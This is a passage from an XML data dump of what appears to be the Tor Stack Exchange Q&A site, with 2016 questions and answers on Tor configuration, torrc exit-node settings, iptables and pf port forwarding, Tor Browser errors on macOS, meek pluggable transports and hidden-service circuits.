OwnerUserId="14413" LastEditorUserId="12737" LastEditDate="2016-09-20T12:49:13.507" LastActivityDate="2016-09-24T10:31:57.623" Title="Can't connect to Tor" Tags="|configuration|" AnswerCount="0" CommentCount="3" ClosedDate="2017-10-02T13:05:28.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="12684" PostTypeId="1" CreationDate="2016-09-20T14:38:54.197" Score="1" ViewCount="2154" Body="&lt;p&gt;I'm programmatically using Tor to hit web pages.  I wanted to test some new functionality out on a local webpage, so I created and deployed one using Tomcat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when my program goes to hit &lt;code&gt;localhost:8080/MyDir/somePage.html&lt;/code&gt;, it errors out, giving a &lt;code&gt;java.net.SocketException: SOCKS server general failure&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Firefox as a browser and have it set up to route traffic through Tor.  There's an option for &lt;code&gt;No Proxy For:&lt;/code&gt;, where I can put &lt;code&gt;localhost&lt;/code&gt; and then be able to browse to my localhost page I created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some equivalent torrc option or something I can set, so my program does not try to proxy using Tor to hit a local webpage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming that is my issue, correct me if I'm wrong!&lt;/p&gt;&#xA;" OwnerUserId="14418" LastActivityDate="2016-09-21T00:44:01.097" Title="Configure Tor to not Proxy localhost" Tags="|configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12687" PostTypeId="1" CreationDate="2016-09-20T22:35:27.447" Score="0" ViewCount="175" Body="&lt;p&gt;I have heard that it is possible to browse with the Tor browser without getting cookies. When I take a closer look it seems like it is excepting cookies.&lt;/p&gt;&#xA;" OwnerUserId="14423" LastActivityDate="2016-09-21T00:42:59.670" Title="Tor and cookies" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-01T11:50:15.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="12688" PostTypeId="2" ParentId="12684" CreationDate="2016-09-20T23:27:39.020" Score="0" Body="&lt;p&gt;Tor is designed to &lt;em&gt;reject&lt;/em&gt; all requests to local addresses. This is to prevent accidental and intentional access to local services running on Tor relays. (e.g. if localhost were proxied through Tor, you would connect to localhost on whichever exit relay was used)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to bypass the proxy for local requests. For Firefox, the instructions are here: &lt;a href=&quot;https://support.mozilla.org/en-US/kb/advanced-panel-settings-in-firefox#w_connection-settings-dialog&quot; rel=&quot;nofollow&quot;&gt;https://support.mozilla.org/en-US/kb/advanced-panel-settings-in-firefox#w_connection-settings-dialog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-20T23:27:39.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12689" PostTypeId="2" ParentId="12687" CreationDate="2016-09-21T00:42:59.670" Score="0" Body="&lt;p&gt;You're messing two &lt;em&gt;different&lt;/em&gt; things up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor&lt;/strong&gt; - an anonymous network of darknet type to keep it's users private. It does not gives a thing about anything protocol-related, including HTTP and including Cookies&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor Browser&lt;/strong&gt; - a fork of Firefox focused on privacy. It is designed to work with Tor network, but &lt;em&gt;actually&lt;/em&gt; it works with &lt;em&gt;any&lt;/em&gt; TCP/IP connection based network, including clearnet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To avoid cookie-tracks use Firefox addons, the &lt;em&gt;Tor network itself&lt;/em&gt; has nothing to do with them&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-21T00:42:59.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12690" PostTypeId="2" ParentId="12684" CreationDate="2016-09-21T00:44:01.097" Score="1" Body="&lt;p&gt;For your experiment you need to rise a local HS and point it to your Tomcat.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-21T00:44:01.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12691" PostTypeId="1" CreationDate="2016-09-21T12:18:17.980" Score="2" ViewCount="455" Body="&lt;p&gt;Today I noticed that NoScript in TorBrowser has allowed all scripts globally! I've had them disabled by default ever since I formated the disc. I didn't change any NoScript settings. Both my laptop's and desktop's Tor Browser changed to &quot;Allow Scripts Globally&quot; &lt;strong&gt;today&lt;/strong&gt; on their own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser 6.0.5 was released 5 days ago, but the &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-605-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;release notes&lt;/a&gt; didn't mention the above behavior. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I had initially installed Firefox, then NoScript (with &quot;Forbid Scripts Globally&quot;), and finally Tor Browser. Could it be that NoScript from my Firefox interacted with Tor Browser? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or have both my machines been compromised?&lt;/p&gt;&#xA;" OwnerUserId="13491" LastEditorUserId="13491" LastEditDate="2018-08-20T07:30:10.877" LastActivityDate="2018-08-20T07:30:10.877" Title="Why did NoScript in my TorBrowser change to &quot;Allow all scripts Globally&quot; on its own?" Tags="|ubuntu|browsers|noscript|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12692" PostTypeId="1" CreationDate="2016-09-21T12:33:36.257" Score="0" ViewCount="71" Body="&lt;p&gt;How do I know Tor is working on my device?  Is there any way I can know that my whatsapp is routed via Tor?&lt;/p&gt;&#xA;" OwnerUserId="14428" LastEditorUserId="38715" LastEditDate="2023-08-03T03:47:41.470" LastActivityDate="2023-08-03T03:47:41.470" Title="Am I surfing the deep web right now?" Tags="|security|" AnswerCount="1" CommentCount="2" ClosedDate="2016-10-04T01:11:43.237" ContentLicense="CC BY-SA 4.0" />
  <row Id="12693" PostTypeId="1" CreationDate="2016-09-21T13:29:12.590" Score="0" ViewCount="51" Body="&lt;p&gt;BBCi Player only works in the UK, but I am in another country so I cannot access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do they know that my IP address is in another country?&lt;/p&gt;&#xA;" OwnerUserId="14430" LastEditorUserId="12240" LastEditDate="2016-10-04T01:07:35.593" LastActivityDate="2016-10-04T01:07:35.593" Title="Security issue with IP address" Tags="|ip-address|" AnswerCount="1" CommentCount="2" ClosedDate="2016-10-01T11:51:45.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="12694" PostTypeId="2" ParentId="12693" CreationDate="2016-09-21T16:09:16.850" Score="1" Body="&lt;p&gt;It's called a geomapping, you can use Maxmind GeoIP or &lt;em&gt;lots&lt;/em&gt; of similar services to guess a country by IP address. Use &lt;code&gt;StrictNodes 1&lt;/code&gt; and &lt;code&gt;ExitNodes {gb}&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; config to force using of UK exits&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-21T16:09:16.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12695" PostTypeId="2" ParentId="12692" CreationDate="2016-09-21T16:15:23.010" Score="2" Body="&lt;p&gt;So - step by step - to your questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;How do I know Tor is working on my device?&lt;/em&gt; If it's in &lt;code&gt;top&lt;/code&gt; and in log files you've seen line like &lt;code&gt;Tor has successfully opened a circuit. Looks like client functionality is working.&lt;/code&gt; and after that line &lt;code&gt;Bootstrapped 100%: Done&lt;/code&gt; - it means that full bootstrap is completed and your Tor instance is up&amp;amp;working. The question is &lt;em&gt;how it works&lt;/em&gt; after that - look into your &lt;code&gt;torrc&lt;/code&gt; to answer this question&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Is there any way I can know that my whatsapp is routed via Tor?&lt;/em&gt; The only way to prove it in 100% is to watch your app &lt;em&gt;without Tor&lt;/em&gt; and then &lt;em&gt;with Tor&lt;/em&gt; and make sure that app traffic is not coming straight into network. Wireshark and tcpdump are your best friends here&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-21T16:15:23.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12698" PostTypeId="2" ParentId="2106" CreationDate="2016-09-21T20:19:50.113" Score="0" Body="&lt;p&gt;I used to explore this subject and ended up with &lt;a href=&quot;https://github.com/netsafe/linux-builder/blob/master/rpi2-rc.local&quot; rel=&quot;nofollow&quot;&gt;these rules&lt;/a&gt;, merging multiple sources together and adding I2P support/&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-21T20:19:50.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12701" PostTypeId="2" ParentId="12662" CreationDate="2016-09-22T03:28:07.457" Score="1" Body="&lt;p&gt;AVG deleted my Tor executable a few days ago. Just download the package and unzip, etc., again and see what happens. I told AVG to ignore it. I haven't had a problem with any scans since then, although I still do not know why AVG picked up on it in the first place. I've been using Tor for a few years.&lt;/p&gt;&#xA;" OwnerUserId="14438" LastActivityDate="2016-09-22T03:28:07.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12702" PostTypeId="2" ParentId="10556" CreationDate="2016-09-22T04:20:55.120" Score="1" Body="&lt;h2&gt;Let Tor Listen on the Correct Address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to do this depending on your setup. The easiest way as someone else mentioned would be to edit your &lt;code&gt;torrc&lt;/code&gt; config file (probably located at &lt;code&gt;/etc/tor/torrc/&lt;/code&gt;), look for the &lt;code&gt;SocksPort&lt;/code&gt; config option and modify it with the values you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 10.42.0.1:9100 # or whatever port the client should connect on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then issue a HUP or otherwise restart the Tor process. This will cause it to start listening on port 9100 on the given LAN address.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Iptables&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can forward any port using a firewall. This is useful if you want more fine grained controll over how the external system accesses Tor (eg. you could also limit traffic, or only allow a certain machine to access Tor) On Ubuntu you probably have iptables, so you can create a rule like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-t nat -A PREROUTING -i enp0s20 -p tcp --dport 9100 -j REDIRECT --to-port 9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(changing the interface name, enp0s20 in this example, to whatever your interface is called and the destination port from 9150 to wherever Tor is listening).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you actually set the rule depends on your setup; you can always test it using the iptables binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# iptables -t nat -A PREROUTING -i enp0s20 -p tcp --dport 9100 -j REDIRECT --to-port 9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then persist it either using &lt;code&gt;iptables-save&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# iptables-save&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you may have a rules file located in &lt;code&gt;/etc/iptables&lt;/code&gt; or somewhere similar which needs to be modified.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;pf&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're on a system that has &lt;code&gt;pf&lt;/code&gt; such as OS X or OpenBSD, you can add something like this to one of your anchor files (probably under &lt;code&gt;/etc/pf.anchors/&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pass in on enp0s20 proto tcp from 10.42.0.2/32 to any port 9100 rdr-to 127.0.0.1 port 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2016-09-22T04:20:55.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12703" PostTypeId="1" AcceptedAnswerId="12746" CreationDate="2016-09-22T10:03:17.190" Score="2" ViewCount="4810" Body="&lt;p&gt;Had no problems using Tor Browser for 4 years or so then all of a sudden 'could not connect to Tor control port'. El Capitan 10.11.6 - Tor 6.05.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried deleting and re-installing Tor, turning off Firewall, running virus checks, disk maintenance, Mac Clean etc still same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one noticeable things is a slight delay as Tor starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't paste the Tor log because it doesn't generate one - reads '(0) logs ready to be copied to clipboard'. If I click 'settings' I just get 'Waiting for Tor to start' ...then 'Could not connect to Tor control port' again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not recently installed any new software of system updates so no real change in the environment - any ideas would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="14439" LastEditorUserId="88" LastEditDate="2016-09-23T17:10:10.737" LastActivityDate="2016-09-26T15:30:46.410" Title="Could not connect to Tor control port. Mac OS" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12706" PostTypeId="2" ParentId="12610" CreationDate="2016-09-22T14:02:01.320" Score="1" Body="&lt;p&gt;You'll need a web server locally to either redirect to the external site, or set up a reverse proxy. Google 'nginx reverse proxy' and you should get the idea. &lt;/p&gt;&#xA;" OwnerUserId="10072" LastActivityDate="2016-09-22T14:02:01.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12707" PostTypeId="1" CreationDate="2016-09-22T14:33:41.177" Score="1" ViewCount="288" Body="&lt;p&gt;While browsing in Tor documentation site for instructions on getting latest &lt;code&gt;tor&lt;/code&gt; for &lt;em&gt;Ubuntu 16.04&lt;/em&gt;, I came across &lt;a href=&quot;https://www.torproject.org/docs/debian&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; site.  In there I found this command,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver keys.gnupg.net --recv 886DDD89&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But executing above command on my computer gave me following error,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg --keyserver keys.gnupg.net --recv 886DDD89&#xA;gpg: requesting key 886DDD89 from hkp server keys.gnupg.net&#xA;?: keys.gnupg.net: Host not found&#xA;gpgkeys: HTTP fetch error 7: couldn't connect: Success&#xA;gpg: no valid OpenPGP data found.&#xA;gpg: Total number processed: 0&#xA;gpg: keyserver communications error: keyserver unreachable&#xA;gpg: keyserver communications error: public key not found&#xA;gpg: keyserver receive failed: public key not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I tried to open &lt;strong&gt;keys.gnupg.net&lt;/strong&gt; but was redirected to &lt;a href=&quot;http://pgp.key-server.io/&quot; rel=&quot;nofollow&quot;&gt;pgp.key-server.io&lt;/a&gt;.  So I think &lt;strong&gt;keys.gnupg.net&lt;/strong&gt; no longer exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being in Ubuntu, I replaced &lt;strong&gt;keys.gnupg.net&lt;/strong&gt; with &lt;strong&gt;keyserver.ubuntu.com&lt;/strong&gt; and the command ran succesfully.  So I think &lt;strong&gt;keys.gnupg.net&lt;/strong&gt; should be replaced with either &lt;strong&gt;pgp.key-server.io&lt;/strong&gt; or &lt;strong&gt;keyserver.ubuntu.com&lt;/strong&gt;.  Can anyone tell me who should I contact to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14441" LastEditorDisplayName="user5" LastEditDate="2016-09-30T20:04:10.777" LastActivityDate="2017-01-28T22:14:46.300" Title="Noticed an outdated instruction in Tor documentation site, how to correct it?" Tags="|configuration|linux|ubuntu|debian|website|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12708" PostTypeId="2" ParentId="12707" CreationDate="2016-09-22T15:04:08.123" Score="1" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;https://www.torproject.org/about/contact.html.en&quot; rel=&quot;nofollow&quot;&gt;Contact&lt;/a&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet would probably either be the IRC channel, or to Tweet them.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-09-22T15:04:08.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12710" PostTypeId="2" ParentId="12259" CreationDate="2016-09-22T21:30:05.967" Score="0" Body="&lt;p&gt;After official release i've met the same problem too.&#xA;As described &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20215&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, temporary fix is:&#xA;add line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_pref(&quot;extensions.torlauncher.control_port_use_socket&quot;, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in ~/Library/Application Support/TorBrowser-Data/Browser/*.default/prefs.js &lt;/p&gt;&#xA;" OwnerUserId="14448" LastActivityDate="2016-09-22T21:30:05.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12712" PostTypeId="2" ParentId="12707" CreationDate="2016-09-22T23:07:15.673" Score="0" Body="&lt;p&gt;You're experiencing a censorship issue, pehaps: &lt;a href=&quot;http://keys.gnupg.net/&quot; rel=&quot;nofollow&quot;&gt;http://keys.gnupg.net/&lt;/a&gt; opens fine for me and :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# gpg --keyserver keys.gnupg.net --recv 886DDD89&#xA;gpg: directory `/root/.gnupg' created&#xA;gpg: new configuration file `/root/.gnupg/gpg.conf' created&#xA;gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run&#xA;gpg: keyring `/root/.gnupg/secring.gpg' created&#xA;gpg: keyring `/root/.gnupg/pubring.gpg' created&#xA;gpg: requesting key 886DDD89 from hkp server keys.gnupg.net&#xA;gpg: /root/.gnupg/trustdb.gpg: trustdb created&#xA;gpg: key 886DDD89: public key &quot;deb.torproject.org archive signing key&quot; imported&#xA;gpg: no ultimately trusted keys found&#xA;gpg: Total number processed: 1&#xA;gpg:               imported: 1  (RSA: 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-22T23:07:15.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12715" PostTypeId="1" AcceptedAnswerId="12716" CreationDate="2016-09-23T00:24:50.997" Score="0" ViewCount="1410" Body="&lt;p&gt;I get this message the i try to open Tor for the first time. Ive downloaded various times and checked signatures but Mac OSx refuse to open it.&#xA;Any ideas? Thank you&lt;/p&gt;&#xA;" OwnerUserId="14453" LastEditorUserId="88" LastEditDate="2016-10-05T09:52:38.127" LastActivityDate="2016-10-05T09:52:38.127" Title="“TorBrowser” is damaged and can’t be opened. You should move it to the Trash" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12716" PostTypeId="2" ParentId="12715" CreationDate="2016-09-23T01:11:39.623" Score="0" Body="&lt;p&gt;According to a quick Google search, you need to adjust your Mac security settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Apple icon &gt; System Preferences &gt; Security and Privacy &gt; General. Click the lock icon (you will be asked for your password) and choose the option to allow apps downloaded from anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now instead of warning you the file is damaged, it will warn you saying it was downloaded from the Internet. You should be able to click Open, and run the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.tech-recipes.com/rx/45404/mac-downloaded-app-is-damaged-and-cant-be-opened-error-solved/&quot; rel=&quot;nofollow&quot;&gt;http://www.tech-recipes.com/rx/45404/mac-downloaded-app-is-damaged-and-cant-be-opened-error-solved/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-23T01:11:39.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12717" PostTypeId="1" AcceptedAnswerId="12721" CreationDate="2016-09-23T02:57:58.510" Score="0" ViewCount="1996" Body="&lt;p&gt;Before posting, I've already read these suggested links: &lt;a href=&quot;https://www.antitree.com/2014/09/07/meek-protocol/&quot; rel=&quot;nofollow noreferrer&quot;&gt;meek-client&lt;/a&gt; ..  &lt;a href=&quot;https://tor.stackexchange.com/q/12553/14395&quot;&gt;pluggable transports&lt;/a&gt; so my question is not duplicate. Rather it is an extension to that question. Meek client hides your ToR traffic from your ISP but it's working is quite complicated. in short it works like this &lt;a href=&quot;https://www.bamsoftware.com/papers/fronting/meek-architecture.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;How meek works&lt;/a&gt;&#xA;In this picture you can see that Intermediate fronted server is decrypting the packet and forwarding the forbidden.example-&gt; which is meek server itself. I understand ISP can't do this as it is encrypted request but the fronted server can easily block this &quot;not allowed&quot; domain because it knows that the request is made for meek server. &lt;strong&gt;Why the Content Delivery Network Fronted server is not blocking client request for connecting to meek server??&lt;/strong&gt; Either fronted server is not intentionally blocking it or it doesn't know that the forbidden.example request is actually a meek server. How it actually works?&lt;/p&gt;&#xA;" OwnerUserId="14395" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-23T17:10:36.523" Title="How ToR meek client works?" Tags="|pluggable-transports|meek|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12720" PostTypeId="1" CreationDate="2016-09-23T10:21:14.140" Score="2" ViewCount="127" Body="&lt;p&gt;In the recent weeks, I (from outside China) try to use tor to browse http websites (esp those major public ones) hosted in China. But it turns out that the browser is always &quot;waiting for xxx.xxx.com ...&quot; and never gets any response. Meanwhile, there is totally no problem to browse websites outside China. It happened back to the end of August 2016. It looks like the GFW of China has blocked Tor servers IPs to access websites inside it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm or comment on this? Or it is just I miss to set some (new) configuration? &lt;/p&gt;&#xA;" OwnerUserId="14459" LastActivityDate="2016-09-23T10:21:14.140" Title="Are Tor server IPs recently blocked to access China Network?" Tags="|browsers|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12721" PostTypeId="2" ParentId="12717" CreationDate="2016-09-23T14:49:48.687" Score="0" Body="&lt;p&gt;You've got it right: &lt;strong&gt;All&lt;/strong&gt; the pluggable transports can be potentially messed up if set up by an untrusted party, so be careful who you're trusting to. The idea of Meek client is to be a regular HTTPS client, the basic and unspecific, so the probability of DPI detection is degraded greatly. The graph you've referred shows precisely how it works: the &lt;em&gt;client part&lt;/em&gt; is just a client for HTTPS queries. That's it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-23T14:49:48.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12723" PostTypeId="1" CreationDate="2016-09-23T14:54:28.640" Score="1" ViewCount="22" Body="&lt;p&gt;HS publishes its descriptor to Hidden Service Directories. How or where can I find the information of this descriptor?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2016-09-23T14:54:28.640" Title="How can I download descriptors of hidden services?" Tags="|onion-services|hsdir|" AnswerCount="0" CommentCount="6" ClosedDate="2016-10-01T11:53:33.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="12724" PostTypeId="1" AcceptedAnswerId="12726" CreationDate="2016-09-23T17:14:25.077" Score="0" ViewCount="528" Body="&lt;p&gt;As far as I am aware that HS servers need to communicate with 3 points, which are Introduction point, Rendezvous point, and HS directory. So how many Tor relays are there in the circuit between the HS server and these 3 points?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2016-09-23T19:38:22.920" Title="How many Tor relays between the HS server to IP, RP, and HSDir?" Tags="|onion-services|hsdir|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12726" PostTypeId="2" ParentId="12724" CreationDate="2016-09-23T18:33:20.720" Score="1" Body="&lt;p&gt;Each Tor circuit has 3 relays: a guard, middle, and exit. A HS server will build a Tor circuit to the Introduction Point, Rendezvous Point, and HS Directory, so there would be 3 relays between the HS Server and any of these 3 points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When browsing a Hidden Service, your browser and the HS Server each build their own circuit to the Rendezvous Point, so there would be 6 relays between the HS server and client, 7 if you count the Rendezvous Point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NQpqf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQpqf.png&quot; alt=&quot;Tor Hidden Services #6&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/hidden-services.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HS Descriptors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Hidden Service descriptor is signed with the HS Private Key before being sent to the HS directory. According to the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rendezvous spec&lt;/a&gt; 1.4,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Upon receiving a descriptor, the directory server checks the signature,&#xA;     and discards the descriptor if the signature does not match the enclosed&#xA;     public key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't specifically say if the descriptor is hashed or encrypted, but if it's signed with the private key, the public key can be used to verify authenticity. The Public Key is then used to encrypt messages to the HS Server, which can then be decrypted with the Private Key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Rendezvous Spec talks about encryption in various parts, but it seems to be talking about the actual rendezvous and introduction point, not the HS descriptor.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="12240" LastEditDate="2016-09-23T19:38:22.920" LastActivityDate="2016-09-23T19:38:22.920" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12727" PostTypeId="1" CreationDate="2016-09-23T19:26:09.897" Score="0" ViewCount="783" Body="&lt;p&gt;I know that in a Tor circuit, there are typically 3 relays: Guard, Middle, and Exit. If I want to run a Tor relay, can I configure it so that I can only serve as Exit node, or Guard node, but not Middle node?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2017-02-21T02:40:13.207" Title="Can I opt to be not middle relay?" Tags="|exit-relays|guard-node|middle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12728" PostTypeId="2" ParentId="12727" CreationDate="2016-09-23T23:10:47.297" Score="0" Body="&lt;p&gt;Currently, no. If I remember correctly, exit relays are hard-coded to be used &lt;em&gt;only&lt;/em&gt; as exits, and Tor will prefer to &lt;em&gt;not&lt;/em&gt; use guard relays for a middle node.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-23T23:10:47.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12729" PostTypeId="1" CreationDate="2016-09-24T01:48:42.577" Score="1" ViewCount="226" Body="&lt;p&gt;I am reading this article: &#xA;&lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/hidden-services-need-some-love&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is a paragraph states that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Defense against Denial of Service of Introduction Points&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The adversarial version of the previous section involves attackers&#xA;  intentionally hammering the Introduction Points of a Hidden Service to&#xA;  make it unreachable by honest clients. This means that an attacker can&#xA;  temporarily bring down a Hidden Service by DoSing a small number of&#xA;  Tor relays.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To defend against such attacks, Syverson and Øverlier introduced Valet&#xA;  nodes in their PETS 2006 paper: &quot;Valet Services: Improving Hidden&#xA;  Servers with a Personal Touch&quot;. Valet nodes stand in front of&#xA;  Introduction Points and act as a protection layer. This allows Hidden&#xA;  Services to maintain a limited number of Introduction Points, but many&#xA;  more contact points, without clients learning the actual addresses of&#xA;  the Introduction Points.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Valet nodes are not implemented yet, mainly because of the big&#xA;  implementation and deployment effort they require.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So is the use of Valet Node already implemented in current Tor, or is Tor still vulnerable to this type of DOS attack against introduction points?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2018-11-14T10:02:35.503" Title="Had valet nodes been implemented?" Tags="|onion-services|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
